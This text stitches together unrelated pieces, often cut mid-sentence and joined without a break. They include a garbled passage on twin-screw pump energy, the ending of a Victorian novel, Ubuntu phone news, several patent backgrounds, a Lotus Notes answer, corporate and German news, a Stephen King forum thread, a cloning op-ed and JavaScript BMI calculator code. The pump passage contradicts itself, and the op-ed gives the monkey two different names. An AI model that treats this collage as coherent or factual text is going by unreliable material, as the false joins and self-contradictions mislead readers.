Experimental data on twin-screw pumps having more than one stage shows that the total power consumed by the pump does not depend on the volumetric gas ratio. This phenomenon occurs not only in single stage pumps, since the power declines greatly while the volumetric ratio of gas rises. C.F. accounts for this phenomenon.
When there is only liquid, hydraulic power is around at most 75% of the total energy consumed by the pump. Therefore it reduces the ratio of gas linearly, to zero (0%).
When there is only liquid, heat generated by the pump is caused by physical friction, in the order of 25% of total energy consumed by the pump. Therefore heat increases linearly with the ratio of gas, owing to C.F. of fluids and gas compression, until reaching a maximum value equal to the pump""s total power (100%) when there is only gas. In other words, the heat generated increases approximately fourfold, while cooling of the pump is greatly reduced, since the thermal capacity of gas is far lower than that of liquid.
When there is only gas and the compression ratio is 1 to 10, heat generated by gas compression, physical friction and C.F. is in the order, respectively, of 20%, 25% and 55% of total energy consumed by the pump. Its energy-efficiency is obtained by the compression effort, which is roughly equal to the heat generated by compression; in other words, energy-efficiency is in the region of 20%.
When the compression ratio is 1 to 100, heat generated by gas compression, by physical friction and by C.F. is in the order, respectively, of 3%, 25% and 72% of total energy consumed by the pump. Energy-efficiency is in the order of 3%. C |
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9900
] | Ardworth, partly by his own exertions, partly by his second marriage with the daughter of the French merchant (through whose agency he had corresponded with Fielden), had realized a moderate fortune, it but sufficed for his own wants and for the children of his later nuptials, upon whom the bulk of it was settled. Hence, happily perhaps for himself and others, the easy circumstances of his father allowed to John Ardworth no exemption from labour. His success in the single episode from active life to literature did not intoxicate or mislead him. He knew that his real element was not in the field of letters, but in the world of men. Not undervaluing the noble destinies of the author, he felt that those destinies, if realized to the utmost, demanded powers other than his own, and that man is only true to his genius when the genius is at home in his career. He would not renounce for a brief celebrity distant and solid fame. He continued for a few years in patience and privation and confident self-reliance to drudge on, till the occupation for the intellect fed by restraint, and the learning accumulated by study, came and found the whole man developed and prepared. Then he rose rapidly from step to step; then, still retaining his high enthusiasm, he enlarged his sphere of action from the cold practice of law into those vast social improvements which law, rightly regarded, should lead and vivify and create. Then, and long before the twenty years he had imposed on his probation had expired, he gazed again upon the senate and the abbey, and saw the doors of the one open to his resolute tread, and anticipated the glorious sepulchre which heart and brain should win him in the other. John Ardworth has never married. When Percival rebukes him for his celibacy, his lip quivers slightly, and he applies himself with more dogged earnestness to his studies or his career. But he never complains that his lot is lonely or his affections void. For him who aspires, and for him who loves, life may lead through the thorns, but it never stops in the desert.
On the minor personages involved in this history, there is little need to dwell. Mr. Fielden, thanks to St. John, has obtained a much better living in the rectory of Laughton, but has found new sources of pleasant trouble for himself in seeking to drill into the mind of Percival's eldest son the elements of Euclid, and the principles of Latin syntax.
We may feel satisfied that the Miverses will go on much the same while trade enriches without refining, and while, nevertheless, right feelings in the common paths of duty may unite charitable emotions with graceless language.
We may rest assured that the poor widow who had reared the lost son of Lucretia received from the bounty of Percival all that could comfort her for his death.
We have no need to track the dull crimes of Martha, or the quick, cunning vices of Grabman, to their inevitable goals, in the hospital or the prison, the dunghill or the gibbet.
Of the elder Ardworth our parting notice may be less brief. We first saw him in sanguine and generous youth, with higher principles and clearer insight into honour than William Mainwaring. We have seen him next a spendthrift and a fugitive, his principles debased and his honour dimmed. He presents to us no uncommon example of the corruption engendered by that vulgar self-indulgence which mortgages the morrow for the pleasures of to-day. No Deity presides where Prudence is absent. Man, a world in himself, requires for the development of his faculties patience, and for the balance of his actions, order. Even where he had deemed himself most oppressively made the martyr, — namely, in the profession of mere political opinions, — Walter Ardworth had but followed out into theory the restless, uncalculating impatience which had brought adversity on his manhood, and, despite his constitutional cheerfulness, shadowed his age with remorse. The death of the child committed to his charge long (perhaps to the last) embittered his pride in the son whom, without merit of his own, Providence had spared to a brighter fate. But for the faults which had banished him his country, and the habits which had seared his sense of duty, could that child have been so abandoned, and have so perished?
It remains only to cast our glance over the punishments which befell the sensual villany of Varney, the intellectual corruption of his fell stepmother.
These two persons had made a very trade of those crimes to which man's law awards death. They had said in their hearts that they would dare the crime, but elude the penalty. By wonderful subtlety, craft, and dexterity, which reduced guilt to a science, Providence seemed, as in disdain of the vulgar instruments of common retribution, to concede to them that which they had schemed for, — escape from the rope and gibbet. Varney, saved from detection of his darker and more inexpiable crimes, punished only for the least one, retained what had seemed to him the master boon, — life. Safer still from the law, no mortal eye had plumbed the profound night of Lucretia's awful guilt. Murderess of husband and son, the blinded law bade her go unscathed, unsuspected. Direct, as from heaven, without a cloud, fell the thunderbolt. Is the life they have saved worth the prizing? Doth the chalice, unspilt on the ground, not return to the hand? Is the sudden pang of the hangman more fearful than the doom which they breathe and bear? Look, and judge.
Behold that dark ship on the waters! Its burdens are not of Ormus and Tyre. No goodly merchandise doth it waft over the wave, no blessing cleaves to its sails; freighted with terror and with guilt, with remorse and despair, or, more ghastly than either, the sullen apathy of souls hardened into stone, it carries the dregs and offal of the old world to populate the new. On a bench in that ship sit side by side two men, companions assigned to each other. Pale, abject, cowering, all the bravery rent from his garb, all the gay insolence vanished from his brow, — can that hollow-eyed, haggard wretch be the same man whose senses opened on every joy, whose nerves mocked at every peril? But beside him, with a grin of vile glee on his features, all muscle and brawn in the form, all malice, at once spiteful and dull, in the heavy eye, sits his fit comrade, the Gravestealer! At the first glance each had recognized each, and the prophecy and the vision rushed back upon the daintier convict. If he seek to escape from him, the Gravestealer claims him as a prey; he threatens him with his eye as a slave; he kicks him with his hoof as they sit, and laughs at the writhings of the pain. Carry on your gaze from the ship, hear the cry from the masthead, see the land arise from the waste, — a land without hope. At first, despite the rigour of the Home Office, the education and intelligence of Varney have their price, — the sole crime for which he is convicted is not of the darkest. He escapes from that hideous comrade; he can teach as a schoolmaster, — let his brain work, not his hands. But the most irredeemable of convicts are ever those of nurture and birth and culture better than the ruffian rest. You may enlighten the clod, but the meteor still must feed on the marsh; and the pride and the vanity work where the crime itself seems to lose its occasion. Ever avid, ever grasping, he falls, step by step, in the foul sink, and the colony sees in Gabriel Varney its most pestilent rogue. Arch-convict amidst convicts, doubly lost amongst the damned, they banish him to the sternest of the penal settlements; they send him forth with the vilest to break stones upon the roads. Shrivelled and bowed and old prematurely, see that sharp face peering forth amongst that gang, scarcely human, see him cringe to the lash of the scornful overseer, see the pairs chained together, night and day! Ho, ho! his comrade hath found him again, — the Artist and the Gravestealer leashed together! Conceive that fancy so nurtured by habit, those tastes, so womanized by indulgence, — the one suggesting the very horrors that are not; the other revolting at all toil as a torture.
But intellect, not all gone, though hourly dying heavily down to the level of the brute, yet schemes for delivery and escape. Let the plot ripen, and the heart bound; break his chain, set him free, send him forth to the wilderness. Hark, the whoop of the wild men! See those things that ape our species dance and gibber round the famishing, hunted wretch. Hark, how he shrieks at the torture! How they tear and they pinch and they burn and they rend him! They, too, spare his life, — it is charmed. A Caliban amidst Calibans, they heap him with their burdens, and feed him on their offal. Let him live; he loved life for himself; he has cheated the gibbet |
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] | Nexus 7 (2013) tablet to keep using the official Ubuntu Touch builds, in case you don’t already own one of these two devices.
The first true Ubuntu phones are expected to arrive later this year, as the company has confirmed it’s already working with at least one OEM on such devices. A few days ago, the Meizu MX3 has been spotted running Ubuntu, although it’s not clear at this time whether the device will officially support the mobile OS or not.
Canonical’s mobile plans haven’t been a secret for a long while, but the company is yet to actually launch its first Ubuntu handset. However, the Meizu MX3 has been spotted running Ubuntu in images and videos.
Images and even a video showing the handset in action with Canonical’s mobile OS on top have been leaked on Weibo from an official Meizu account, PocketNow reports. However, that doesn’t mean the phone will become the first Ubuntu phone, or one of the models expected to launch in the next months, as Canonical is yet to say anything on the matter. Check out the video below to see Ubuntu running on the handset.
]]>https://www.androidauthority.com/meizu-mx3-ubuntu-images-video-333244/feed/10Ubuntu coming to high-end smartphones during 2014https://www.androidauthority.com/ubuntu-smartphones-in-2014-323746/
https://www.androidauthority.com/ubuntu-smartphones-in-2014-323746/#commentsWed, 11 Dec 2013 09:38:40 +0000https://www.androidauthority.com/?p=323746Canonical announced the launch of Ubuntu for phones back in January, but other than the unfortunate Ubuntu Edge episode there hasn’t really been much news about the fledgling mobile version of the popular Linux distribution. However, Mark Shuttleworth, the founder of Canonical and its product strategy leader, has now revealed that the company has signed its first agreement to ship Ubuntu on mobile phones!
[quote qtext=”We have concluded our first set of agreements to ship Ubuntu on mobile phones.” qperson=”Mark Shuttleworth” qsource=”” qposition=”left”]Shuttleworth didn’t reveal who Ubuntu’s new OEM partner is, but he did say that Ubuntu will come to high-end phones during 2014. It also looks like this first deal is but one of many. “We are now pretty much at the board level on four household brands. They sell a lot of phones all over the world, in emerging and fully emerged markets, to businesses and consumers,” said Shuttleworth.
Ubuntu is designed to work on two types of smartphone, the entry level device which needs to have a dual-core processor and at least 512 MB of RAM, and the high-end that needs a quad-core processor with at least 1GB of RAM. The main difference between the two is that the high-end “Superphone” can also act as a PC when connected to a monitor, keyboard and mouse! If this is the type of high-end phone that Shuttleworth is talking about then 2014 could be a very interesting year indeed!
The mobile operating system market is becoming increasingly crowded and newcomers will find it difficult to make an impact. Besides Android and iOS, companies like Microsoft and BlackBerry are trying to increase their market shares while newer offerings such as Firefox OS and Tizen are trying to gain a foothold. Is there room for Ubuntu? Clearly Canonical thinks there is. Along with partnerships with popular online services like Facebook, Twitter, Dropbox, Evernote, Amazon and Pinterest, Ubuntu has a secret weapon. Thanks to the Ubuntu SDK, native apps can be written to work across all versions of Ubuntu, on the desktop, Smart TVs, Ubuntu tablets and Ubuntu smartphones. This is something that Google and Apple don’t offer and something that Microsoft has botched with Windows.
Canonical has done a good job of getting carrier endorsements. Networks like Vodafone, 3, EE, KT, SK Telecom, Verizon, Deutsche Telecom, T-Mobile, PT, and others have all endorsed Ubuntu for smartphones. These companies have all signed up to Ubuntu’s Carrier Advisory Group which lets mobile operators shape Ubuntu’s mobile strategy.
Shuttleworth sees mobile as a key part of Ubuntu’s future. Although Canonical isn’t profitable today it could be if the company just focused on its PC and server business and dropped mobile. However, Shuttlworth thinks that dropping mobile would give Canonical “a lifespan measured in years, not decades.”
Since Ubuntu is an open source operating system, and Canonical will share the code openly, and thanks to the Ubuntu SDK developers, carriers and manufacturers are already able to build apps for Ubuntu. The question is, will they?
Android users have been able to play around with Canonical’s mobile build of Ubuntu for a while now, but today Ubuntu “Saucy Salamander” 13.10 finally has reached ‘stable’ status. This means Ubuntu 13.10 is finally ready to go as an everyday platform – well at least almost.
The desktop variant seems fully ready, but the mobile build is still lacking in several key ways. First, there are almost no apps that are optimized for tablets and smartphones. Second, only a select amount of Android devices are able to run it. Third, no official Ubuntu phones will exist until next year.
Additionally, one of the biggest selling points isn’t there yet. We’re talking about the ability to transform Ubuntu to a traditional desktop experience when hooked to a TV or monitor, which is unfortunately not present in Ubuntu 13.10.
The problem is that the desktop/server version of Ubuntu still uses the older X Window system, while the mobile build requires the new mobile-friendly display server, Mir. The situation won’t change until Mir rolls out to the desktop/server version in Ubuntu 14.04, sometime in April.
[quote qtext=”The desktop at this stage doesn’t fully support the new graphics architecture that is now enabled on the phone OS. It’s something we are working very rapidly towards.” qperson=”Richard Collins” qsource=”Canonical product manager for mobile” qposition=”center”]
Beyond the lack of desktop ‘mode’ and scarce amount of apps, Canonical also admits that certain areas of usability still need to be addressed before Ubuntu is really ready to work as a true Android alternative.
Long story short:Ubuntu’s mobile efforts have come a long way since the project was first officially announced at the beginning of the year, but they’re still nowhere near close to where they need to be if Canonical is interested in seriously competing in the mobile arena.
What do you think of Ubuntu’s mobile ambition, still looking forward to Ubuntu on your mobile device or not?
Because Canonical opted for a fixed funding campaign, it won’t get to keep the money it raised and all backers will be refunded their contributions.
According to an update from Canonical founder Mark Shuttleworth, almost 20,000 people have contributed to the campaign with hundreds of dollars each, along with three businesses that opted for the $7000 Enterprise Starter Kit perk and one massive contribution from Bloomberg LP, which contributed $80,000.
Ubuntu Edge broke the record for the largest crowdfunded sum, which was previously held by the Pebble smartwatch Kickstarter project. Still, Pebble remains that largest successful campaign ever.
It’s safe to say that the Ubuntu Edge campaign was very successful from the perspective of raising awareness about Canonical’s Ubuntu Phone project. The fact that several thousand people were ready to pay $700 or more for a phone that doesn’t even exist is very encouraging from Canonical’s plans to bring to market by 2014 the first devices running Ubuntu Phone, a mobile-optimized version of Linux.
What about Ubuntu Edge? The dual-booting (Android + Ubuntu Phone) device raised the pulse of quite a few technology fans. Will it ever make it to market? Mark Shuttleworth hinted that a new campaign is possible:
[quote qtext=”“Who knows, perhaps one day we’ll take everything we’ve learned from this campaign — achievements and mistakes — and try it all over again.”” qperson=”” qsource=”” qposition=”center”]
And there’s always the possibility that Edge will be founded by a corporate backer or through venture capital.1. Field of the Invention
The present invention relates to a method of manufacturing an organic electroluminescence (EL) display device.
2. Description of the Related Art
A generally known display device having organic EL elements mounted thereon is a device in which pixels each having a single or a plurality of organic EL elements are arranged in a predetermined pattern. By those pixels, a display region of the display device is two-dimensionally divided with high definition. The organic EL elements in the pixels are electronic elements which output, for example, any one of red light, green light, and blue light. A display device having organic EL elements mounted thereon obtains a full-color image by driving the organic EL elements for outputting desired colors at desired emission intensities.
Under such circumstances, a method of producing a display device having a fine organic EL element with high definition by a photolithography process is proposed. Japanese Patent No. 3839276 proposes a method involving forming a photoresist into a film directly on an emission layer. When the method is adopted, the photoresist to be used generally contains large amounts of a photoinitiator, a crosslinking agent, and the like |
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] | some mail in the Inbox using the check-column, and dragged that mail into a folder, then selected some more mail in the Inbox, and hit the Del key, will the group of emails that were dragged into the other folder be deleted too, because I didn't unselect them?
is there a way to search in all folders, rather than just the current folder?
A:
No, the moved documents get unselected, so they shouldn't have been deleted.
Use Full-text search (open your mail db > View > Toolbar > Search)
For any other database (other than mail db), open Application properties > go to sixth (Full Text) tab > select Create index.
Note that you have to be at least Designer in ACL to manipulate (create, change its properties, delete) db's full-text index.
St. Petersburg-based Catalina reduced its debt from $1.9 billion to $276 million as a result of restructuring.
According to a press release, the financially restructured St. Petersburg company has reduced its debt from $1.9 billion to $276 million, a decrease of 85%.
"This is an exciting day for Catalina as we just became a stronger and very competitive company with solid cash flow, low debt, a healthy balance sheet and a robust digital product pipeline," Catalina President and CEO Jerry Sokol states in the release. "We believe we have the best media and data platforms, and we are accelerating our investment in disruptive technologies to further Catalina's in-store, digital, data and advanced analytics businesses to help our customers transform the buyer experience. We are also fortifying our buyer intelligence data and adding depth to our personalization capabilities to power our new digital products and solutions."
Now owned by its creditors, Catalina also announced that Michael Bailey has been appointed chief technology officer, reporting to Sokol. Bailey, the release states, boasts executive leadership experience at Diversified Foodservice Supply, Sygen International, PeoplePC and Staples.
"Catalina has a diverse mix of skillsets and some of the smartest people in the industry, as well as a compelling set of offerings that drive results for an impressive group of customers," Bailey states in the release. "I am excited to extend our technology capabilities in short order to unlock new personalization capabilities.”
Weil, Gotshal & Manges LLP served as legal counsel, Centerview Partners LLC served as financial adviser and FTI Consulting served as restructuring adviser to Catalina during its Chapter 11 bankruptcy proceedings.In der Türkei sorgt ein neuer Gesetzentwurf derzeit für Empörung. Dem Entwurf zufolge könnten Vergewaltiger von Minderjährigen straffrei davonkommen, und zwar dann, wenn sie und ihr Opfer nach der Tat einvernehmlich heiraten. Das türkische Parlament will noch in diesen Tagen über den Gesetzentwurf abstimmen.
Das berichten mehrere Medien, darunter der britische "Independent". Laut Bericht soll das sogenannte "Marry your Rapist"-Gesetz Ende Januar vorgestellt werden. Aus der Sicht von Kritikern würde das Gesetz den Weg für Kindesmissbrauch und sexuelle Ausbeutung ebnen. Zudem würden Kinderheirat und Vergewaltigung dadurch gesetzlich legitimiert.
Frauenrechtlerin: Gesetzentwurf ist "schockierend"
Die Frauenrechtlerin Suad Abu-Dayyeh sagte gegenüber der "Independent", es sei "schockierend", dass Politiker versuchten, ein Gesetz zu verabschieden, das "Tätern, die Kinder sexuell ausbeuten, Straffreiheit gewährt." Unterdessen begrüße sie es, dass Frauenrechtsaktivistinnen in der Türkei gegen das "diskriminierende Gesetz" ankämpften.
Auch die Vereinten Nationen zeigten sich bestürzt über das Vorhaben. So könnten Vergewaltiger ihre Opfer weiter misshandeln, zumindest aber wären die Opfer ihren Vergewaltigern hilflos ausgesetzt.
Zwar würden Vergewaltiger auch künftig bestraft, und zwar dann, wenn das Opfer einer Heirat nicht zustimmt. Allerdings könnten Vergewaltiger ihr Opfer dann wiederum unter Druck setzen und zu einer Heirat nötigen.Google Stadia Adds 10 Games to Launch Lineup
After the lacklustre announcement made up of a dozen launch games, three of which could be bundled up, Google has announced that they’ll be adding 10 more games to Stadia’s launch lineup. The new additions were revealed by Google vice president and general manager Phil Harrison via Twitter.
Excited to announce that we are INCREASING the Day One launch line-up of titles for @GoogleStadia – we now have TWENTY TWO games launching with the platform on Tuesday. Huge thank you to our game developer and publisher partners for bringing more titles #stadia
Most of these games were announced to be coming to the streaming service before the year ends, so it’s not surprising Google was able to bump up their arrival to the platform to launch day.
Still, with just 22 games at launch, it’s hard to be excited for Google Stadia this early, especially with the amount of value Microsoft seems to be packing with their upcoming xCloud service. xCloud already boasts 50 titles in its lineup even though it’s still in the preview stage. Microsoft also announced at the recently concluded X019 that they’ll be allowing Xbox Game Pass games to be played through the service at no additional charge.
Google Stadia launches on November 19th for those who purchased the Founder’s Edition or the Premiere Edition.If this is your first visit, be sure to
check out the FAQ by clicking the
link above. You may have to register
before you can post: click the register link above to proceed. To start viewing messages,
select the forum that you want to visit from the selection below.
Big Wheels: A tale of the laundry game (Milkman 2)
Is it just me or is this one of his weirdest stories? It never makes sense to me. It's kind of funny with the drunken guys, but I can never see how the elements fit together.
The first Milkman story is more of a short vignette about a creep delivering nasty surprises with the morning milk, rather than a real story. There isn't much to understand, beyond that it's a creepy idea.
This one has a guy complaining about holes in his back, caused by water dripping through the roof of a laundry game; it has the milkman
again who ran off with the main character's wife, but for some reason is still following him around; it has a garage owner who is suggested to have killed a couple years ago - he keeps the hood ornament of the car they were found in, and in the end the car of the murdered couple (which for some reason is still driving around) crashes onto the main character's.
Re: Big Wheels: A tale of the laundry game (Milkman 2)
Re: Big Wheels: A tale of the laundry game (Milkman 2)
Is Johnny Cash a serious reply or just joking? Is the story related to a song or songs by him?
I guess it's just plain weird then, as I always thought. It's just when a number of elements are there, but it's hard to see a plot, you feel like you might be missing something. Actually this is the only one of his stories I can recall that is like this, where in the end you're scratching your head and think 'What was that all about?' Usually, even when not all questions are answered, you can tell what it was about clearly.
Re: Big Wheels: A tale of the laundry game (Milkman 2)
"Big Wheels: A Tale of the Laundry Game (Milkman #2)" is a short story by Stephen King, first published in the 1980 anthology New Terrors, edited by Ramsey Campbell, and collected in King's 1985 collection Skeleton Crew. It was adapted from an unfinished novel called "The Milkman." The events in this story follow the events of the previously unpublished short story, "Morning Deliveries (Milkman #1)", which appears in the same collection.
Its plot centers around two laundry workers named Rocky and Leo in a small Pennsylvanian town. After finishing up a shift at work, the men are driving around, getting drunk, and searching for an auto-inspection station. The inspection certification on Rocky's car runs out at midnight and he needs to find somewhere that will renew it. They are drunk and getting drunker, drinking Iron City beer, which have the likeness of Pittsburgh Steelers players on them. They finally come across an inspection station owned by an old friend of Rocky's, Bob Driscroll. Rocky crashes the car into Bob's garage and in the ensuing verbal confrontation Bob recognizes him. They then reminisce about old times while Bob inspects Rocky's vehicle for certification. Rocky and |
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] | proximity to many different pairs spanning different portions of its length. At a telephone CO (central office), pairs in close proximity may carry diverse types of service using various modulation schemes, with considerable differences in signal levels (and receiver sensitivities) especially for pairs of considerably different lengths.
There are generally two types of crosstalk mechanisms that are characterized, one being FEXT and the other one being near-end crosstalk (NEXT). FEXT refers to electromagnetic coupling that occurs when the receiver on a disturbed pair is located at the far end of the communication line as the transmitter of a disturbing pair. Self induced far end crosstalk (self-FEXT) generally refers to interference caused by neighboring lines provisioned for the same type of service as the affected line, or “victim line.” In contrast, NEXT results from a disturbing source connected at one end of the wire pair which causes interference in the message channel at the same end as the disturbing source. Current approaches to addressing crosstalk suffer from various perceived shortcomings. While vectored systems are effective in addressing such disturbances as self-FEXT, various types of interferences such as radio frequency interference (RFI), power line communications (PLC), common mode noise, and impulse nose remain an issue.Three cheers for China’s cloned monkeys
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It’s unlikely that you have not heard of ‘Dolly’ the sheep, famously announced as the first mammal ever to be successfully cloned, in February 1997 (Dolly was born in July 1996). Dolly was a product of Somatic Cell Nuclear Transfer (SCNT), which involved taking an adult cell from the udder of a female sheep and using the nucleus from that cell to replace the nucleus of an egg from another female sheep. The egg was successfully encouraged to fuse with the new nucleus using electric shocks and then began to divide as would a normal embryo. The fused egg was implanted into a third female sheep for gestation. Dolly, bizarrely, had three mothers, and was a genetic clone of the mother who donated the udder cells (hence Dolly — a jokey nod to Dolly Parton that has yet to attract the ire of #MeToo).
Last week, scientists from Shanghai’s Chinese Academy of Sciences Institute of Neuroscience reported that they had used a similar SCNT technique to clone two macaque monkeys – called Zhong Zhong and Hua Hua. Cloning of animals by SCNT had been previously reported in 23 other mammal species, including mice, cattle, pigs, rats, cats and dogs, but had never before been reported in a primate species. The relative genetic closeness of humans and monkeys has generated a lot of handwringing and concerns about the now nearer possibility of human cloning.
Most reports have, however, downplayed that possibility. The eventual birth of Zhong Zhong and Hua Hua followed the production of 260 early embryos, resulting in 43 pregnancies of which 41 failed. Such failure rates would not be tolerated as reasonable to produce human offspring. Also, the SCNT technique used to produce Zhong Zhong and Hua Hua were only successful with cells taken from fetal rather than adult tissue. The attempts made with adult tissue all failed. Although we do have a primate clone, therefore, we still do not have a primate clone generated from adult cells as was the case for Dolly. That makes the prospect of cloning as a fertility treatment, and more fanciful suggestions of rearing a clone of an adult or recently deceased relative, currently distant.
The major benefits of cloning are not going to be as a treatment for infertility, at least not in the immediate future. Instead, cloning offers the possibility of providing replica animals for commercial (farming), environmental (species recovery) or medical (disease modelling) purposes. Animals that yield higher quantities and quality of meat can be cloned so that their gene line is reproduced exactly and preserved indefinitely without the vagaries and gamble of sexual reproduction. Species teetering on the brink of extinction can be preserved through cloning techniques that put more of the animals back into the wild. Treatments that need to be tested in a controlled genetic environment can have that environment reproduced over and over through cloning.
These benefits are real and of obvious importance, but the benefits of cloning are not necessary to make what has happened in China an amazing breakthrough. What is being missed in much of the reporting on Zhong Zhong and Hua Hua is what an incredible demonstration of human ingenuity this is, and how far it shows we have gone in knocking down dogmatic beliefs about what humans cannot do.
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In the middle of the 18th century, Lavoisier declared on behalf of the French Academy of Sciences that ‘rocks don’t fall from the sky’, an idea overturned by mass observation of rocks falling from the sky at Barbotan, France in 1790. Following Lavoisier, the French philosopher August Comte announced in 1842 that the internal structure or composition of distant stars and planets will be forever unknown to us because they are too far away. In 1895, William Ramsay reported a ‘glorious yellow effulgence’ given off by a uranium mineral — the same effulgence he had observed gushing off the surface of the Sun 25 years previously.
1895 was precisely the moment Lord Kelvin chose to announce that ‘heavier-than-air flying machines are impossible’. The Wright brothers took just eight years to prove him wrong. In 1920 the New York Times claimed that space travel would be impossible because no craft could accelerate in space, and in 1957 the American inventor of the vacuum tube, Lee De Forest, stated that a manned voyage to the moon ‘will never occur regardless of all future advances’. In 1969 Apollo 11 made its way to the moon, and the New York Times retracted its previous statement.
Einstein famously dismissed nuclear power as impossible. In 1934, he told the Pittsburgh Post Gazette, ‘There is not the slightest indication that [nuclear energy] will ever be obtainable. It would mean that the atom would have to be shattered at will.’ In 1954, the USSR delivered domestic electricity from its nuclear power plant in Obninsk. Einstein did, however, help overturn the dogma that light has no mass and therefore cannot be effected by gravity. The famous demonstration by Eddington that light is deflected by the sun’s gravity in the eclipse of 1919 confirmed the central predictions of Einstein’s general theory of relativity. That observation made the existence of black holes, previously dismissed as ridiculous, suddenly very possible.
The discussion of Zhang Zhang and Hua Hua has been similarly dismissive of what science can achieve. Robin Lovell-Badge of the Francis Crick Institute, who does excellent work and is often very measured in his comments, was widely reported as saying, ‘While they succeeded in obtaining cloned macaques, the numbers are too low to make many conclusions, except that it remains a very inefficient and hazardous procedure… with only two [clones] produced it would have been far simpler to just split a normal early embryo into two, to obtain identical twins… [Human cloning] clearly remains a very foolish thing to attempt: it would be far too inefficient, far too unsafe, and it is also pointless.’
Such comments are sadly dismissive. Of course first attempts are going to involve a lot of errors. Shoukhrat Mitalipov of the Oregon Health and Science University in Portland estimates he used more than 15,000 monkey eggs in cloning attempts in the 2000s, with not a single live birth. All science is inefficient and hazardous in its first steps. If that stops us, then we take no further steps forward. Similarly, there will always be alternatives. We didn’t need to fly. We could have rode a horse, or walked, or just stayed home. And light has mass? So what? Does knowing about black holes help us?
Thankfully, we want to push the boundaries of what is known because it is exciting to do that even if it is uncertain, dangerous and without obvious application. Right now the barriers to human cloning are large, and I would hope any steps in that direction be taken in a measured and open fashion. But a large step in that direction has just taken place, and more will certainly follow. Why? Because we can.
Stuart Derbyshire is an associate professor in the Department of Psychology and A*STAR-NUS Clinical Imaging Research Centre at the National University of Singapore.(1) Field of the Invention
The present invention relates to photodetectors such as image sensors, and more specifically to color filters provided to photo-cells in a photodetector.
(2) Description of the Related Art
A commonly used photodetector includes a semiconductor substrate having a plurality of photo-cells, and each photo-cell is provided with a color filter and a photodiode. There are red color filters (R), green color filters (G), and blue color filters (B) in one photodetector, and each photo-cell is assigned with a color filter having one of the three colors. The photodiodes generate signal charges responsive to the intensity of the light that has passed through the color filters. Consequently, a signal charge for light of a specific color in the incident light is generated in each photo-cell. Imaging data for one picture is generated by collecting the signal charges for the three colors generated in the photo-cells (See Japanese Laid-Open Patent Application No. H05-006986, for example).
Conventional color filters are usually manufactured by mixing acrylic resin with pigments or dyestuff of respective colors (See Japanese Laid-Open Patent Application No. H07-311310, for example).
Manufacturing the conventional color filters, however, requires a troublesome material management for the pigments or dyestuff of different colors in the manufacturing process, and this hinders the cost reduction of |
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] | .value = roundTwoDecimals ( totalCms );
}
}
else if ( updatedField === "cmsfld" )
{
if ( isNaN ( cmsField.value ) )
{
processNaNInput(cmsField);
}
else if ( cmsField.value === "" )
{
feetField.value = "";
inchesField.value = "";
}
else
{
var cmsFldInInches = cmsField.value / CMS_PER_INCH;
var numFeet = cmsFldInInches / INCHES_IN_FOOT;
var numInches = cmsFldInInches % INCHES_IN_FOOT;
feetField.value = toIntegerFloor ( numFeet );
inchesField.value = roundOneDecimal ( numInches );
}
}
else
{
alert ( "Invalid parmater passed to completeForm function" )
}
}
//***********Helper Functions Called by calculateBMI***********
// check if any of the fields in the form are empty and if empty outputs
// an error message. Returns false is the form is fully filled out
function hasEmptyFlds ( )
{
// If all fields are empty output a message
if ( ( stoneField.value === null || stoneField.value === "" ) && ( poundsField.value === null || poundsField.value === "" ) && ( kgsField.value === null || kgsField.value === "" ) &&
( feetField.value === null || feetField.value === "" ) && ( inchesField.value === null || inchesField.value === "" ) && ( cmsField.value === null || cmsField.value === "" ) )
{
alert( "Please enter a weight and height" );
return true;
}
// If weight fields of the form are not filled out output an message
else if ( kgsField.value === null || kgsField.value === "" )
{
alert ( "Please enter a weight" );
return true;
}
// If the height fields of the form are not filled out output a message
else if ( cmsField.value === null || cmsField.value === "" )
{
alert ( "Please enter a height" );
return true;
}
else
{
return false;
}
}
// returns the name of the bmi category for a given bmi
function getBmiCategory ( bmi )
{
if ( bmi < 15 )
{
return "Very severely underweight";
}
else if ( bmi < 16 )
{
return "Severely underweight";
}
else if ( bmi < 18.5 )
{
return "Underweight";
}
else if ( bmi < 25 )
{
return "Normal (healthy weight)";
}
else if ( bmi < 30 )
{
return "Overweight";
}
else if ( bmi < 35 )
{
return "Moderately obese";
}
else if ( bmi < 40 )
{
return "Severely obese";
}
else
{
return "Very severely obese";
}
}
//**********************
// calculates and outputs bmi, bmi category, ideal bmi range, ideal weight range and percent over or under ideal weight
function outputBmi ( )
{
if ( ! hasEmptyFlds ( ) )
{
var heightInMetres = cmsField.value / 100;
var bmi = roundOneDecimal ( kgsField.value / ( heightInMetres * heightInMetres ) );
var category = getBmiCategory ( bmi );
//lower weight cut off for a healthy bmi
var lowerKgs = toInteger ( IDEAL_BMI_LOWER * ( heightInMetres * heightInMetres ) );
//upper weight cut off for a healthy bmi
var upperKgs = toInteger ( IDEAL_BMI_UPPER * ( heightInMetres * heightInMetres ) );
//convert lower cut off from kgs to stone and pounds
var totalLowerPounds = lowerKgs / KGS_PER_POUND;
var lowerStone = toIntegerFloor ( totalLowerPounds / POUNDS_IN_STONE );
var lowerPounds = toInteger ( totalLowerPounds % POUNDS_IN_STONE );
//convert upper cut off from kgs to stone and pounds
var totalUpperPounds = upperKgs / KGS_PER_POUND;
var upperStone = toIntegerFloor ( totalUpperPounds / POUNDS_IN_STONE );
var upperPounds = toInteger ( totalUpperPounds % POUNDS_IN_STONE );
var html = "<p id = 'results'>";
html += "Your BMI is : " + bmi + " <br /> Your BMI is in the " + category + " category<br />";
html += "<br />The BMI for Normal ( healthy weight ) is between 18.5 and 25";
html += "<br /><br />Normal (healthy weight) for your height is between:<br />";
html += lowerKgs + " kgs (" + lowerStone + " stone, " + lowerPounds + " pounds ) and ";
html += upperKgs + " kgs (" + upperStone + " stone, " + upperPounds + " pounds ) <br />";
if ( kgsField.value < lowerKgs )
{
var kgsUnderIdeal = lowerKgs - kgsField.value;
var percentUnder = toInteger ( ( kgsUnderIdeal * 100 ) / lowerKgs );
html += "<br />You are " + percentUnder + "% below your ideal weight bracket";
}
else if ( kgsField.value > upperKgs )
{
var kgsOverIdeal = kgsField.value - upperKgs;
var percentOver = toInteger ( ( kgsOverIdeal * 100 ) / upperKgs );
html += "<br />You are " + percentOver + "% over your ideal weight bracket";
}
html += "<br /><br /><a href='/'>< Go back to bmi form</a></p>"
document.getElementById( 'mainDisplay' ).innerHTML = html;
}
}
A:
Constants; instead of creating a bunch of standalone keys I'd group them in a single object, like:
var bmiConstants = {
POUNDS_IN_STONE: 14,
KGS_PER_POUND: 0.453592,
INCHES_IN_FOOT: 12,
CMS_PER_INCH: 2.54,
CMS_PER_METRE: 100,
